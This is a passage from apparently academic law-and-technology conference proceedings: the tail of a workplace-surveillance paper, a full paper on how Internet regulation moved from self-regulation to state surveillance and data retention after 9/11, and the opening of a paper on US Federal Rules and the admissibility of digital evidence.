Newton “Proposed NSW workplace surveillance bill extends employees’ protection from surveillance in the workplace” (2004) *Workplace and Employee Relations Law Update*

Sneddon and Troiana “New tort of invasion of privacy and the Internet” (2003) *Internet Law Bulletin* 6(6) 1


**Websites**


http://www.privcom.gc.ca/information/ar/02_04_09_e.asp (4 January 2004)

Geist, M. (2005) “Computer and e-mail workplace surveillance in Canada: the shift from reasonable expectation of privacy to reasonable surveillance”
http://www.michaelgeist.ca/content/94/163 (5 May 2005)


Houston, E. (2004) “E-mail privacy at work, monster in human resources”
http://hr.monster.ie/articles/email_privacy/print (4 December 2004)


Thompsons Solicitors (2006) “Employee surveillance”
http://www.thompsons.law.co.uk/ltext/11240005.html (17 August 2006)

Unknown (2003) “Dow Chemicals fires 50 over e-mail abuse”

http://www.ingenuity.co.uk (5 December 2004)

ABOUT THE AUTHOR

Verine Etsebeth is a lecturer in the Department of Private Law at the University of Johannesburg, South Africa.

Papers presented at conferences:

- 7th Annual Conference on World Wide Web Applications (1-3 September 2005 - Cape Town) “Malware: The New Legal Risk to Companies”
- 8th Annual Conference on World Wide Web Applications (6-8 September Bloemfontein) “Companies Beware: Inappropriate Use of Corporate Computer Resources and Systems”

Publications in accredited law journals:

- TSAR 2005 2 “Governance in the Information Age – The Implication for Law”
- TSAR 2005 4 “Risky Business – risk management in the information age – is your business up for the challenge?”

Conference related publications:

- ISBN (will still be assigned) “Companies Beware: Inappropriate Use of Corporate Computer Resources and Systems” 2006
The Evolution of Internet Legal Regulation in Addressing Crime and Terrorism

Murdoch Watney
University of Johannesburg
South Africa
mwatney@uj.ac.za

ABSTRACT
Internet regulation has evolved from self-regulation to the criminalization of conduct to state control of information available, accessed and submitted. Criticism has been leveled at the different forms of state control and the methods employed to enforce state control. After the terrorist attack on the USA on 11 September 2001, governments justify Internet state control as a law enforcement and national security tool against the abuse and misuse of the Internet for the commission of serious crimes, such as phishing, child pornography; terrorism and copyright infringement. Some Internet users and civil rights groups perceive state control as an abomination which results in an unjustifiable infringement of civil rights. Since countries worldwide are focusing attention on the control of information on the Internet, the debate in respect of state control and the consequences of state control is relevant on a global level as it impacts on all Internet-connected countries.

Keywords: legal regulation, legal evolution, Internet, Internet state control, crime, terrorism

1. INTRODUCTION
The evolution of legal regulation of the Internet can only be fully appreciated by looking at the early beginnings of the Internet. The history of the origin of the Internet is well-known. However, to paraphrase Oliver Wendell Holmes, one must study the history in order to understand the path of the law (Rustad et al. 2002).

The Internet originates from the early 1960’s in the United States of America (USA) as a result of a project referred to as ARPANET. This project aimed to ensure a nation-wide computer network that would continue to function even if a large portion of it were destroyed by a nuclear attack (Hiller et al. 2002).

In 1992 the USA congress decided to commercialize the Internet. Little did the USA realize that this historical decision would result in the information age characterized by a phenomenal growth of Internet-connected countries, contribute to globalization and the introduction of a new medium, namely an electronic medium.

The Internet’s pace of adoption eclipses all other previous technologies. Radio was in existence thirty-eighty years before fifty million people tuned in; television took thirteen years to reach that benchmark. Fifty million people were using desktop computers only sixteen years after the first personal computer kit came out. Once opened to the general public, the Internet surpassed the fifty million mark in just four years (Rustad et al. 2002).

It was only in 1995 that the World Wide Web (WWW) became an integral part of the USA society, but today countries across the globe are dependent on the Internet. In the early days of the commercialization of the Internet and the growth of Internet connected countries, attention primarily focused on the development and use of information and communication technology. Initially scant regard was given to the legal regulation of conduct on the Internet.

As the dependence on computers, computer systems and the Internet increased issues such as copyright infringement and the threat and commission of crimes such as child pornography and ‘identity theft’ necessitated the implementation of legislation dealing with these issues. The attention
from the early days shifted from self-regulation to legal regulation of conduct on the Internet. The terrorist attack on 11 September 2001, generally referred to as 9/11, was a watershed occurrence regarding state control of information available, accessed and submitted on the Internet. Attention focused on the form of state control of information and the methods employed to enforce state control of information. Although the USA was the first country to focus on these aspects, the global nature of the Internet, crime, terrorism and information warfare, render Internet state control relevant on a global level.

The world today looks very different from what it looked in 1992 when the Internet was commercialized. Governments now realize the power of the Internet. Some governments even fear the Internet.

Although no central legal authority governs the Internet, powers have emerged that influence the global legal regulation of the use and development of technology. The Internet laws of these powers affect the national laws of other Internet-connected countries (par. 3 hereafter).

It is important that the evolution of legal regulation is scrutinized and debated. State control can be likened to that of a Pandora’s box. Once opened, it reveals many relevant issues that should be critically investigated. The forms of state control of information and the methods employed to enforce state control of information have serious consequences in respect of human rights and the role of third party’s such as the ISP. Is this the type of Internet society we wish to live in or is the evolution of Internet legal regulation the prize we pay for security against crime and terrorism on the Internet? Should governments and the Internet user fear the Internet? How do governments and the Internet community determine the acceptable form for and methods of state control of information? Who will act as a watchdog in respect of the form of state control and the methods employed to enforce state control? These questions affect all Internet-connected countries and should be addressed within a global context.

The evolution of the legal regulation of the Internet is a very wide and complex topic with many inter-related issues of which each issue could warrant a discussion of its own. Therefore, the discussion will only be an overview of the most relevant issues from the perspective of a South African trained jurist.

2. OVERVIEW OF THE EVOLUTION OF INTERNET LEGAL REGULATION

Are the evolution of laws that regulate terrorism and crime on the Internet known and understood?

“…This is the Law. How could there be a mistake in that?”

‘I don’t know this Law’, said K.

‘All the worse for you’, replied the warder” (Gringras 2003).

Initially the role of the law was perceived as irrelevant in respect of the Internet. It was felt that as the Internet was created by technology, it should therefore be regulated by technology.

Prior to the commercialization of the Internet in the USA, the close-knit Internet community regulated the Internet themselves (Harvard Law Review 2006). It was with some surprise and dismay when a member of this early community released the first worm, the so-called Morris worm (named after its creator) in 1988 (Rustad et al. 2002). The accused was successfully prosecuted in terms of the Computer Fraud and Abuse Act of 1986. However, when the ‘I love you virus’ was released in 2000, the global economic loss was substantial. The perpetrator was traced to Philippines but the conduct was not criminalized in the Philippines at that stage (Hiller et al. 2002). Subsequently the Philippines passed the E-Commerce Act.

The Internet was not founded on a secure foundation. It was designed to be open with distributed control and trust among each other (Harvard Law Review 2006). As Internet usage increased, the exploitation of the Internet by means of online crimes increased. The Internet had not been designed to cope with that type of security challenges. Security technology proved fallible. Countries realized that
due to the fallibility of security technology, the enforcement and violation of technology should be regulated by means of legislation.

Cybercrime proved different from crimes committed in a physical medium. The electronic medium challenges the laws designed for a physical medium. In many instances the physical laws cannot be extended to address the electronic medium. Online crimes are not contained within the national borders of a country. Countries therefore moved from self-regulation to legal regulation of conduct on the Internet by criminalizing certain forms of conduct.

A good example of the consequences of inadequate legal regulation of conduct on the Internet would be the legal position in South Africa from 1993 to 2002. When the Internet became commercial in South Africa in 1993, very little attention was given to the Internet due to the fact that South Africa was involved in a political transformation. The Internet became part of society without much fanfare. South Africa was also urged not to regulate the use and access to the Internet and warned that “excessive regulation or control of the Internet would backfire”, that “the Internet and its technology would render the controls worthless” and that regulation should be conducted “not with fear and prejudice” (Opperman 2000). However, the criminal abuse of the Internet created legal uncertainty as the criminal and procedural laws designed for a physical medium were not flexible enough to address the commission of crimes by means of the Internet. It was only in 2002 that South Africa criminalized conduct in cyberspace by means of the Electronic Communications and Transactions Act 25 of 2002, the first legislation that deals exclusively with the electronic medium.

Although there had initially been opposition to the legal regulation of the Internet, it would be a mistake to believe that the Internet was ever free of any form of regulation. Lessig in his book, Code and other laws of Cyberspace observes that absolute freedom does not exist in cyberspace as cyberspace is built on codes in the format of programming code such as software, hardware and protocols (Lyon 2003, Edwards and Howells 2003). Lessig suggests that technology should address problems experienced on the Internet, for example copyright infringement can be addressed by means of anti-copying technology in the format of digital rights management. Lessig also confirms that the regulation of code (technology) is being sanctioned and enforced by means of legislation (Bowrey 2005).

Until 9/11 countries were mainly concerned with regulating conduct on the Internet such as crime by means of legislation. Countries did not actively seek control of information available and transmitted on the Internet. 9/11 was a globalizing event that changed the westernized world in particular and evolusionalized the legal regulation of the Internet. The emphasis in this paper is on the motivation for, the justifiability, consequences and enforcement of legal regulation of Internet state control of information.

3. CENTRAL LEGAL ‘GOVERNANCE’ (REGULATION) OF THE INTERNET

Governance of the Internet, specifically legal governance, is very relevant to the discussion of the evolution of legal regulation of the Internet. Although the Internet was not designed as a single entity with a single authority that governs the legal development and use of the Internet, dominant western ‘powers’ have emerged in respect of the legal ‘governance’ of the Internet, such as the USA and European Union (EU). Data protection (information privacy protection) and now data retention illustrate the role and influence of the dominant ‘powers’. It is important to briefly look at data protection as it is affected by state control and specifically, the method of data retention.

While the Internet serves as a tremendous resource for information, products, and services, the same technology provides companies and individuals the ability to collect information about Internet users and to distribute that information to others. Many Internet users feel that this collection of data is an illegal invasion of privacy, specifically information privacy which is defined as the right of an individual to control the acquisition, disclosure and use of personal information.
The EU responded by recognizing and protecting an individual’s right to information privacy by implementing 2 data protection directives, namely the general data protection directive, 1995/46/EC and the specific privacy and electronic communications directive, 2002/58/EC. In terms of these data protection directives personal information may not be processed without the permission of the Internet user. ‘Personal information’ is defined as information that identify the Internet user whereas ‘processing’ is defined as the storage, collection, retrieval, use, blocking and disclosure of personal information.

Contrary to the USA that has favoured self-regulation in respect of the processing of personal information, most countries worldwide follow the example of the EU. However, criticism is leveled against self-regulation in respect of personal information in the USA. Momentum for legislation in the USA that requires protection of personal information and restricting the type of personal information that can be collected is accelerating (Schulz 2005).

In 2001 the only international treaty on cybercrime, the Council of Europe Cybercrime Convention was signed by the Council of Europe member countries and 4 non-European countries, namely the USA, SA, Japan and Canada. The purpose of this international treaty is to provide guidelines regarding harmonized laws to address prosecution of cybercriminals across border crimes. It was not drafted against the threat of terrorism. The Convention was signed about 2 months after 9/11. It is commendable that countries realized that online crime can only be effectively and successfully be addressed by means of harmonized laws with mutual international assistance. Even if users in the USA take effective security measures, computers abroad could still be used in an attack on a USA target (Harvard Law Review 2006). However, the Convention on Cybercrime only provides for international cooperation in prosecuting cybercrime but makes no provision in securing networks (Harvard Law Review 2006).

In respect of state control of information on the Internet, the USA was the first country to take the lead in respect of surveillance. Shortly after 9/11, the USA implemented Internet state control legislation providing specifically for surveillance. Alan Dupont, director of the Asia-Pacific Security Program in Australia, said, “Where the U.S. goes, others will follow” (Lyon 2003). It is therefore worth while to examine closely what is happening in the USA and to establish to what extent and degree it is followed elsewhere.

As illustrated the effect of global Internet ‘governance’ cannot be discounted. Countries outside these ‘powers’, such as Australia, South Africa and India model their national laws on the laws of the dominant ‘powers’ and international treaties to ensure harmonized laws. This has been the case with data protection and will most probably be the case in respect of the form and methods employed for state control of information on the Internet.

The global nature of the Internet necessitate countries such as the USA to take note of the concerns of other Internet-connected countries in respect of the Internet, such as technical ‘governance’ of the Internet and specifically the objection against the technical root being managed by the California based Internet Corporation for Assigned Names and Numbers (ICANN) under license from the US Department of Commerce (Bowrey 2006). Other concerns evolve around online security, cybercrime and censorship (“United Nations forum on control of the Internet opens in Athens” 2006). The latter concerns are all linked to state control of information on the Internet (par. 4 hereafter).

4. LEGAL REGULATION OF STATE CONTROL OF INFORMATION ON THE INTERNET

4.1 Introduction

The initial purpose of the Internet was to establish an open information and communication medium with easy and unlimited global access to any information free from any restrictions. Abuse and exploitation of the Internet resulted in the criminalization of conduct on the Internet. Criminalization do not address the challenges experienced in respect of the prevention, detection, investigation and
prosecution of cyber-crime, terrorism (Janczewski and Colarik 2005) and information warfare (Janczewski and Colarik 2005). It became increasingly clear that the key in fighting crime and terrorism on the Internet lie in the gathering of information. Governments started to investigate methods aimed at the control of information available, accessed and transmitted on the Internet.

9/11 was furthermore such a world event that immediately after 9/11 the United Nations (UN) Security Council passed resolution 1377 making it compulsory for all UN member countries to implement anti-terrorism legislation. Shortly after 9/11 the US passed the US Patriot Act providing for enhanced state control of information on the Internet in the form of surveillance. Although terrorism motivated the implementation of Internet state control legislation in the USA, it is also applicable to serious crimes such as organized crime and money laundering.

4.2 Forms of Internet state control of information

State control of information on the Internet can take on different forms. It consists of

i. no access to the Internet as practiced by Cuba; or

ii. censorship as practiced by China, Iran (“Iran bans fast internet to cut West’s influence” 2006) and Saudi Arabia; or

iii. surveillance as practiced by USA, EU member countries and SA.

It is important that a distinction is drawn between surveillance and censorship. It should be noted that not only the form of state control, but also the methods employed to enforce state control that are relevant.

Surveillance is an umbrella term that means in its broadest to ‘watch over’. Surveillance of the Internet consists of various surveillance methods, such as monitoring, interception, encryption and data retention or data preservation.

<table>
<thead>
<tr>
<th>Surveillance method</th>
<th>Possible definition of such method</th>
</tr>
</thead>
<tbody>
<tr>
<td>Monitoring</td>
<td>The listening to and/or reading of the content of a communication.</td>
</tr>
<tr>
<td>Interception</td>
<td>The acquisition of the content of a communication by someone other than the sender or recipient or intended recipient during the course of the transmission and includes monitoring as well as the examination, viewing and inspection of the content of the message.</td>
</tr>
<tr>
<td>Data retention</td>
<td>The retention of traffic data of all Internet users irrespective of whether the Internet users are suspect or not in respect of terrorism or crime. Data preservation is the preservation of specific traffic data of an identifiable Internet user for a specific criminal investigation for a limited period of time. ‘Traffic data’ refers to data indicating the origin, destination, duration, termination, duration and size of the communication (Goemans and Dumortier 2003). Differently put it refers to the records kept by the ISPS when a user engages in online activity (Edwards and Howells 2003).</td>
</tr>
<tr>
<td>Data preservation</td>
<td>Assistance in the decryption of an encrypted message.</td>
</tr>
</tbody>
</table>
The biggest debate at present is in respect of data retention as opposed to data preservation. On 14 December 2005 the European Parliament accepted a directive making it compulsory for all EU member countries to implement national legislation providing for the retention of all traffic data of all Internet users for a period of time. The Directive proposed a retention period of 6 months to 24 months. The EU directive does not prescribe the types of crimes that would be subjected to data retention but leaves it up to each EU member country to determine the categories of crimes subjected to data retention. EU member countries have until August 2007 to comply with the blanket data retention directive.

The Convention of Cybercrime provides for data preservation (discussed at par 3). The EU has deviated from the Convention. The main reason would be the threat of terrorism. Since the Convention on Cybercrime has been signed, there has been other terrorist attacks namely in Spain in 2004 and in the UK in 2005. Terrorism has been described as the threat of the 21st century. Data retention is not only aimed at terrorism, but also at addressing the commission of serious crimes. Contrary to the EU, the USA employs data preservation. However, even in the USA attention has focused on possible data retention, especially in respect of child pornography. The US Congress has said that federal legislation is needed to aid law enforcement investigations into child pornography (McCullagh 2006). The interest in the USA in respect of the EU’s decision to retain all traffic data illustrates the far-reaching effect the EU’s legal governance has in respect of the drafting and implementation of national laws in other countries (Morphy 2006).

South Africa (SA) has implemented the Regulation of Interception of Communications and Provision of Communication-related Information Act 70 of 2005 in September 2005. The act provides for data retention for a period of 3 years and is similar to that of the EU mandatory data retention directive. It can be safely predicted that other Western countries will most probably follow the EU’s approach in respect of data retention.

Contrary to state surveillance, state censorship is an ultra form of state regulation of control of information on the Internet. It includes surveillance but it goes even further; it limits and restricts access to all information and the free flow of information.

4.3 Effect of state control of information

Internet state control affects not only the Internet user but also the traditional role of the Internet Service Provider’s (ISPs) as a conduit of information as well as strengthening and enhancing the powers of law enforcement and security agencies (see par. 5 hereafter).

State control results in a surveillance society and evokes a fear of a so-called Orwellian society with ‘big brother’ (the state) watching over the personal lives of everyone (Lyon 2003). One of the biggest concerns is that state control of information on the Internet is in conflict with an Internet user’s human rights such as the right to privacy.

Privacy is not an abstract concept (McCellan 1976). The classic definition for privacy is the right to be left alone, but the definition has been extended to include the right to be free from unreasonable personal intrusion, or the individual’s right to determine what personal information can be communicated and to whom (McCellan 1976). Privacy manifests itself as the power to control information (Defilippis 2006). Most western countries worldwide protect privacy, although the approach to privacy protection differs (Hiller and Cohen 2002).

Privacy has meaning only in relation to a national culture, a particular political system and a specific period of time (McCellan 1976). Privacy therefore, must be defined within the context of the Internet against the background of the threat of terrorism and government control.

Internet privacy consists of information (data) privacy and communications privacy. Information privacy means the control of an Internet user in respect of who has access to his/her personal
information, when and how. Communications privacy means protection against interference and/or intrusion regarding his/her communications, such as websites visited, e-mails sent and received, and use of search terms.

It is acknowledged that the right to privacy in an electronic medium such as the Internet faces challenges unknown to that of the physical world. There are virtually no online activities or services that guarantee absolute privacy ("Privacy in Cyberspace" 2006). ISPs and websites can monitor online activities, for example the ISP can determine which search engine terms the user used, which websites visited, the dates, times and durations of online activity. Furthermore, ISPs, websites and companies can collect personal information of the Internet user. The latter concern was addressed in the EU by means of data protection directives.

The Internet user can ensure privacy by means of privacy-enhancing tools such as encryption, using anonymous re-mailers; without the use of such privacy-enhancing technology, the Internet user has very little privacy regarding his/her activity on the Internet. As the Internet was not designed with security as its priority, these tools can also secure the communications. However, it should be borne in mind that these tools can also be used to hide criminal activity.

Contrary to surveillance that does not affect free flow of information, censorship not only affects the right to privacy but also the right to freedom of speech. Freedom of expression is the freedom of communication covering the full freedom to express ideas and information to send, circulate and to receive them (Goemans and Dumortier 2003). Furthermore, censorship has resulted in many controversial issues, such as whether a search engine should filter its search terms to comply with the government’s censorship guidelines; whether a search engine should disclose to a government a dissident’s identity; whether a search engine outside such a government should have business dealings with a government that support censorship? (Flint 2006). All these issues must be debated taking into account that the Internet community today represents a diverse cultural community with different viewpoints and agreement may not be easily obtained.

4.4 Justifiability of legal regulation of Internet state control of information

At what price do we secure the Internet? Clearly, a prize exists if we allow criminals unrestricted and unaccountable use of the Internet. At some threshold citizens expect their government to protect them against the crimes and terrorism committed by means of the Internet. It is therefore not only state control of information but also the threat of online crime and terrorism that affects the Internet user’s human rights such as the right to privacy.

The risk of online crime and especially a serious online attack by terrorists or a foreign government is greater than ever; an online attack coordinated with physical attacks could compound the fallout by disrupting communications, distracting the government response and exacerbating the psychological damage from terrorism (Harvard Law Review 2006). Crimes such as ‘identity theft’ have grown exponentially over the past years. Criminalizing conduct on the Internet assists in the prosecution of an online crime and terrorism which is important not only to law enforcement but also to global security.

The challenge today lies in the prevention and investigation of online crime and terrorism. The law enforcement agency or national security agency needs evidence and this evidence (data) can only be found within an electronic medium. The traditional law enforcement tools cannot effectively address online crime (Harvard Law Review 2006). The traditional approach to crime has been reactive policing, namely the crime is investigated after it is committed.

As the threat of terrorism and seriousness of crime increased, attention was given to a different approach to the gathering of evidence than what was traditionally applicable within the physical world. Pro-active policing is the gathering of evidence before a crime is committed and assists in the prevention, detection, investigation and prosecution of crime.

The response to the security threats posed by terrorism and crime resulted in state control of the
Internet. The purpose of state surveillance as employed by the USA, EU member countries and SA is to gather information in respect of the detection, prevention, investigation and prosecution of crimes or intelligence gathering. It is aimed at national security and/or crime prevention. The surveillance method, data retention is an example of pro-active policing. The traffic data of all Internet users are retained for a period of time, irrespective of whether the Internet user is suspected of committing a crime.

State surveillance could therefore be seen as an e-security technological tool. As is the case with privacy, security does not have an exact meaning (Hiller et al. 2002). Security must be defined within the context it is applied. Security within the context of this discussion is the technology employed to protect information and/or networks against abuse such as the commission of serious crimes and terrorism. The technology employed affect information (data) and communications privacy. The degree and extent of the impact on Internet privacy depends on the type of technology employed and the purpose of the technology.

The aim of regulating the use of state surveillance technology is to ensure judicial checks and balances in respect of the use of such invasive, non-obtrusive but extensive technology in respect of Internet users. If surveillance technology is applied without legal regulation, it can easily be abused. However, the legal regulation of state surveillance does not make it automatically justifiable.

The justifiability of state control of information can only be established by weighing the purpose for state control against the infringement of human rights such as the right to privacy. The debate in respect of the various surveillance methods is one that has not reached its pinnacle yet. It has to be established whether the legal framework provides an adequate balance to the conflicting interest. Some argue that the privacy infringement is so extensive that it cannot be justified. Others argue that the purpose for state surveillance justifies the human right infringement. The aim of state surveillance is to protect the Internet user and the state against serious crime and terrorism resulting in the growth of trust and confidence in the Internet.

Whether censorship is justifiable would depend on the purpose of censorship weighed against the infringement of the right to privacy and freedom of expression. It should be borne in mind that censorship in respect of specific information for example child pornography available on the Internet or the prohibition of hate speech is not the same as censorship in respect of all information.

5. OVERVIEW OF ENFORCEABILITY OF LEGAL REGULATION OF THE INTERNET

Relevant to the evolution from criminalizing conduct to surveillance of the Internet is the practical enforceability of such legal regulation within an electronic medium. If not enforceable, then the legal regulation results in paper law. The issue of enforceability could warrant a discussion on its own and therefore only the consequence of the enforcement of state control will be highlighted.

Regulating the Internet is not easy. In the physical medium enforceability normally do not depend on the assistance of third parties. In respect of the Internet, ISPs administer parts of the networks within the borders of a country within the legal framework of that country. A country must therefore implement legislation that provides for ISP assistance in respect of the control of information. The role of the ISP emphasizes the major shift from regulating conduct on the Internet or differently put, criminalizing certain conduct on the Internet to control of the information. In respect of regulating control of information on the Internet the active involvement of the ISP, a third party is now crucial for the successful implementation of legislation.

The role of the ISP in respect of control of information and in this regard censorship regarding specific information was clearly illustrated in South Africa in respect of child pornography access and distribution on the Internet (Watney 2006). The South African legislator realized that although child pornography distribution constituted a crime in terms of the Films and Publications Act 65 of 1996, it was still being distributed and accessed in South Africa. The legislator amended the Films and
Publications Act providing the ISP with an obligation to monitor information to prevent access to child pornography. The problem is that the type of technology employed to monitor the information is not prescribed and filtering technology is not always successful in the prevention of all child pornography.

In respect of state control of information in the form of state surveillance, the ISP in South Africa must comply with the following obligations:

a. have interception ability,

b. have data storage ability; and

c. assist law enforcement and intelligence agencies.

The evolution of legal regulation is reflected in the changing role of ISPs especially in respect of data retention. ISPs have objected to the retention of the traffic data of all users. ISPs have criticized the financial and practical burden in storing data, citing that the problem is not only retaining the data, but maintaining and securing the data warehouses (Goemans and Dumortier 2003). The effectiveness of retaining data in the prevention and detection of crime and terrorism has been questioned. It has been alleged that where the law enforcement agency or the intelligence agency requests traffic data, such request would generally be of an urgent nature but it may not be so easy for the ISP to quickly comply with the request. The counter argument is that law enforcement and security agencies need information to detect and prevent crime and terrorism. The ultimate purpose of the general retention of traffic data is to be able, in the case of a crime, to trace and to locate geographically and chronologically the end-user device that was used to transmit the initial information (Goemans and Dumortier 2003). Many crimes are committed across borders and therefore it is important that countries adhere to harmonized laws and in the case of the EU, harmonized data retention laws. What should be borne in mind is that the effectiveness of for example data retention can only be measured once all EU member countries have implemented data retention legislation.

6. CONCLUSION

The shift from criminalizing conduct to control of information is a major transition in the evolution of legal regulation of the Internet. The transition is only in its early phase.

State control of the Internet can be compared to that of the djinn of legend; once the genie is out of the bottle, its power is unleashed for both good and evil (Poore 2002). To quote Poore (2002):

> Our interconnectivity through the Internet enables cost effective data transmission to almost any point on the planet. When the data facilitates lawful commerce or promote human rights the enchanting magic validates the technology. When the data facilitates murder and mayhem or governmental oppression, the baneful condemns the technology. A complete free society – if it is to survive – requires citizens who exercise self-restraint and who are willing to accept the consequences of failures of that self-restraint. At some threshold of failures, however, citizens demand of their government protection from each other. At some point, such protection curtails the freedom of citizens and the citizens find themselves in a police state. Thus the pendulum swings between anarchy and totalitarianism, between unbridled freedom and censorship, between anonymity (i.e. no accountability and Big Brother (i.e., no privacy). To achieve the balance of costs and benefits, we must first understand the problems we hope to solve.

The problem governments wish to solve is the prevention, detection, investigation and prosecution of crime, terrorism and information warfare to ensure the growth of the use of the Internet, the realization of the benefits of the Internet and stimulation of technological innovation. Many governments of Internet-connected countries have elected state control as a solution to the problem, thus the pendulum has swung from no Internet regulation to regulation of not only conduct but also information.

The phase of legal regulation of state control technology results in many unresolved questions that
should be addressed before state control regulation progresses. Once in motion, many other methods of control of information may follow such as the prohibition of encryption or anonymous communication. Do the use of state control technology and the legal regulation of it qualify as an e-security mechanism? If affirmative, can it be argued that the costs such as the erosion of Internet privacy is the prize we pay for the benefits such as Internet security? On a global level countries will have to debate the good and the evil of state control to ensure that the good of the evolution of legal regulation triumphs over the evil.

7. REFERENCES

Books

Chapter in Books

Journal
Websites
(30/10/2006).

Author unknown. (2006), “Privacy in Cyberspace”

Author unknown. (2006), “Iran bans fast internet to cut West’s influence”
(18/10/2006).

http://insight.zdnet.co.uk/0,39024515,39263973,00.htm (24/09/2006).

http://www.ecommercetimes.com/story/53142.html?u=crbuys&p=ENNSS_0be3a1d63b9517
(30/09/2006).

ABOUT THE AUTHOR
Murdoch Watney is a professor in the Faculty of Law at the University of Johannesburg, South Africa. She has worked as a prosecutor, is admitted as an advocate of the High Court of South Africa, has done the bar exam and has acted as an assessor in criminal trials in both the High Court and Regional Court. She has given papers at the following international conferences:

- 2005: Internet pornography: International Society for the Reform of the Criminal Justice System; Edinburgh, Scotland;
- 2006: “Surveillance of electronic communications: A consequence of globalisation?”: ISSE (Independent European ICT security conference and Exhibition); Rome, Italy.
New Federal Rules and Digital Evidence

Gavin W. Manes
Elizabeth Downing
Lance Watson
Oklahoma Digital Forensics Professionals, Inc.
Tulsa, OK USA
gavin@okdfp.com
beth@okdfp.com
lance@okdfp.com

Christopher Thrutchley
Newton, O'Connor, Turner & Ketchum
Tulsa, OK USA
chris@newtonoconnor.com

ABSTRACT
The newly revised Federal Rules of Civil Procedure and developments under the Federal Rules of Evidence have a significant impact on the use, collection, and treatment of digital evidence for legal proceedings. The Rules now formally grant electronic documents and digital evidence the same status as paper and other forms of tangible evidence. As a result, the availability and proper preservation of potentially relevant electronic evidence must be considered, at the very latest, in the preliminary stages of litigation and, at the earliest, as soon as litigation is reasonably anticipated. It is important for professionals to be familiar with the specific rules and developing laws pertaining to the preservation and production of digital evidence prior to an incident or the initial stages of litigation and discovery.

Keywords: digital forensics, electronic discovery, evidence production, privilege, civil procedure

1. INTRODUCTION
The new Federal Rules of Civil Procedure strive to accommodate the daunting challenges of the digital era of modern litigation. Like it or not, digital litigation is upon us, and many professionals, must begin learning the rules of the digital game. According to a 2004 Survey conducted by the American Management Association and The ePolicy Institute, “One in five U.S. companies (20%) has had employee e-mail subpoenaed in the course of a lawsuit or regulatory investigation, up from 14% in 2003. Another 13% have battled workplace lawsuits triggered by employee e-mail” [1]. In response to a 2005 litigation trends survey, corporate counsel identified ediscovery as the number one new litigation burden for companies [9]. “The advent of electronic discovery, coupled with more stringent record keeping requirements, has exponentially added to the burdens imposed by litigation,” said Robert D. Owen, a Fulbright & Jaworski, LLP litigation partner and leader of the firm’s records management and e-discovery practice group [9].

What’s more, the digital dilemma dawns long before litigation erupts. An increasing number of business and legal investigations include evidence extracted from digital devices such as computer hard drives, PDAs and cell phones. When it becomes apparent that digital information must be used in the course of an investigation or discovery process, forensics experts should be employed to carefully identify, gather, preserve, and examine pertinent evidence. The “snapshot” of information from a digital device must be collected in a detailed and methodical manner, since any or all evidence collected can be used in discovery, depositions, or trial. The new Federal Rules give general guidelines as to the discussion and handling of electronic documents in modern litigation. This paper briefly highlights key components of the new rules and other basic digital evidence issues with which legal,
forensics and information technology professionals, and their clients or businesses should become familiar.

2. FEDERAL RULES OF EVIDENCE

While the Federal Rules of Evidence have not been modified, careful attention must be given to how courts are applying them to digital evidence. Counsel should consider ultimate issues of admissibility as soon as sources of potentially relevant digital evidence are identified for preservation and collection. As the use of paper declines and the reliance on digital information soars, more and more cases are turning on the admissibility of electronic information. The admissibility of electronically stored data often depends on how it is collected, preserved, and produced. Courts are imposing high standards for the collection and analysis of digital evidence to ensure its authenticity under Rule 901. Establishing authenticity often hinges on the testimony of digital forensic experts, whose opinions must pass the scrupulous reliability test imposed by Rule 702 and the standards developed under Daubert v. Merrell Dow Pharms., Inc., 509 U.S. 579, 589-90 (1993), and its progeny.

2.1 Authenticity of Digital Evidence

Authentication of digital evidence, like paper, “requires evidence sufficient to support a finding that the matter in question is what its proponent claims” [11]. If the judge decides there is sufficient evidence for a jury to conclude that the evidence is authentic, then the judge will deem the evidence admissible. Actually deciding the authenticity of the evidence is left to the jury, who will determine the weight given to evidence after it has been subjected to vigorous cross-examination, presentation of contrary evidence, and instructions from the judge on the burden of proof.

Authenticating digital evidence presents unique challenges. With paper records, modifications can be readily discerned and the author or custodian identified by a signature or writing style. In contrast, alterations of electronic information can be difficult or impossible to detect and the author or creator may be impossible to discern.

Like paper, electronic records can be authenticated with direct or circumstantial evidence. The creator of an excel spreadsheet, for example, could provide direct testimony of authorship. The problem, however, is the ease with which digital information can be altered, destroyed, or manufactured in a convincing way. This can even be accomplished intentionally or accidentally by a novice computer user, and is, according to one expert, “alarming” [14]. The reality is that proving the integrity of digital evidence requires the use of digital forensic experts with the knowledge, skill, and experience to use and apply an array of complex methods and tools of computer science and information security [14]. Digital forensic experts use their skills and tools to generate circumstantial evidence of the integrity and trustworthiness of the evidence, or they provide evidence and opinion testimony attacking the authenticity of electronic information.

When calling upon such an expert to establish authenticity, care must be taken to ensure that the chain of custody has been securely maintained to refute any suggestion of possible adulteration. A break in or plausible doubt about the chain of custody from the time it is collected, transported, preserved, and analyzed can severely weaken the weight and credibility of the digital evidence.

2.2 Expert Testimony and Daubert

Because the authenticity of digital evidence is generally determined by experts using scientific methods beyond the knowledge and understanding of the lay juror, Daubert challenges to the admissibility of expert testimony should be anticipated. An expert may provide opinion testimony under Rule 702 if it is based on “scientific knowledge” that will help the jurors “understand or determine a fact in issue” [11] With regard to digital evidence, the fact usually at issue is whether the electronic information can be relied on as pure and unaltered.

In Daubert v. Merrell Dow Pharms., Inc., the U.S. Supreme Court laid down guidelines by which a trial judge is to decide if “the reasoning or methodology underlying the testimony is scientifically
valid” and reliable. The Daubert Court provided a non-exhaustive list of factors the judge must consider in deciding whether to permit the expert testimony:

- Whether the theories and techniques employed by the expert have been tested
- Whether they have been subjected to peer review and publication
- Whether the techniques employed by the expert have a known error rate
- Whether they are subject to standards governing their application
- Whether the theories and techniques enjoy widespread acceptance [7].

The list above is neither inclusive nor definitive, and testimony may still be admissible if one or more of the factors are unsatisfied [7]. Additionally, the Court has clarified that “the admissibility inquiry must focus ‘solely’ on the expert’s ‘principles and methodology,’ and ‘not on the conclusions that they generate’” [7]. “So, digital forensic evidence proposed for admission in court must satisfy two conditions: it must be (1) relevant, arguably a very weak requirement, and (2) it must be ‘derived by the scientific method’ and ‘supported by appropriate validation’” [22].

2.3 Best Evidence Rule vs. Printouts

There are still many lawyers who are surprised to learn that a printed version of a word processed document will likely be deemed inadmissible under the best evidence rule, if challenged due to the existence of the original digital document. The best evidence rule, collectively Rules 1001 through 1008, is designed to eliminate the risk that documentary evidence is really a fraud by requiring the proponent to offer the original unless certain exceptions are met [11].

